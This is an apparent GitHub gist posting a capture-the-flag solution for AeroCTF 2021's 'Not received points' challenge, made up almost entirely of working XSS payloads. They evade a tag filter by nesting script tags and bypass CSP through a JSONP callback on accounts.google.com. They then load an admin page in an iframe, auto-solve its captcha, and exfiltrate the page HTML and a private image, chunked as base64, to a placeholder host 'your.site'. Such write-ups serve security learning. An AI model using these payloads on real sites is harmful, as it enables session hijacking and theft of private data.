Skip to content

Instantly share code, notes, and snippets.

@jorgectf
Last active March 1, 2021 10:45
Show Gist options
  • Save jorgectf/92a5cce43119c02b72a792fdeaa10404 to your computer and use it in GitHub Desktop.
Save jorgectf/92a5cce43119c02b72a792fdeaa10404 to your computer and use it in GitHub Desktop.
AeroCTF 2021's "Not received points" solution.

Void _.escape

// this made empty the client-side func that escaped our input
_.escape = function(s) {return s}

Leak flag image uri

// XSS through JSONP from accounts.google.com
<scr<script>ipt src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){
  var frame=document.createElement('iframe');
  frame.src='/admin/prize.html';
  frame.onload = function () {
    setTimeout(function() {
      // window.open('http://your.site/leak?leak='%2BencodeURIComponent(frame.contentDocument.body.innerHTML));
      problem = frame.contentDocument.querySelector('span[id=ex]').textContent;
      problem_parts = problem.split(' ');
      uno = problem_parts[0];
      dos = problem_parts[2];
      caso = problem_parts[1];
      // couldn't eval because of CSP
      if (caso == '/') {
         sol = uno / dos;
      };
      if (caso == '*') {
         sol = uno * dos;
      };
      // solve captcha inside iframe
      frame.contentDocument.querySelector('input').value = sol;
      frame.contentDocument.querySelector('button').click();
      // window.open('http://your.site/leak?leak='%2BencodeURIComponent(problem%2Bcaso%2Bsol%2Bproblem_parts));

      setTimeout(function() {
        // leak HTML once captcha is solved
        window.open('http://your.site/leak?leak='%2BencodeURIComponent(frame.contentDocument.body.innerHTML));
      }, 500);
    }, 500);
  };
  document.body.appendChild(frame);
})();"></scr<script>ipt>

Leak image contents

https://stackoverflow.com/questions/12950465/how-to-get-image-bytes-string-base64-in-html5-jquery-javascript

// fail image: /admin/img/bf3adc3899a7b88bbedbe51271472a15.png
<im<img>g src="/admin/img/175193053491407376ff47dc6e834673.png" id="myimage" />
// 2000x2000 wasn't needed but we wanted to make sure it was enough
<can<img>vas width="2000" height="2000" id="mycanvas" style="display: none;"></can<img>vas>

<scr<script>ipt src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){
  var myImage = document.getElementById('myimage');
  var myCanvas = document.getElementById('mycanvas');
  var ctx = myCanvas.getContext('2d');
  ctx.drawImage(myImage, 0, 0);
  var text = myCanvas.toDataURL('image/png');
  i=0;
  // @danielcues magic
  while(-Math.sign(i%2b500-text.length)){
    if (text.substring(i,i%2b500)=='') {
      break;
    }
    window.open('http://your.site/'%2bi%2b'?w='%2BencodeURIComponent(text.substring(i,i%2b500)));
    i = i %2B 500;
      
    // Trying to de-asynchronize window.open
    a = 0;
    while(a!=90000000){a%2B%2B;}
  }
  // leak the left bytes
  window.open('http://your.site/'%2bi%2b'?w='%2BencodeURIComponent(text.substring(i,text.length)));
})();"></scr<script>ipt>
@jorgectf
Copy link
Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment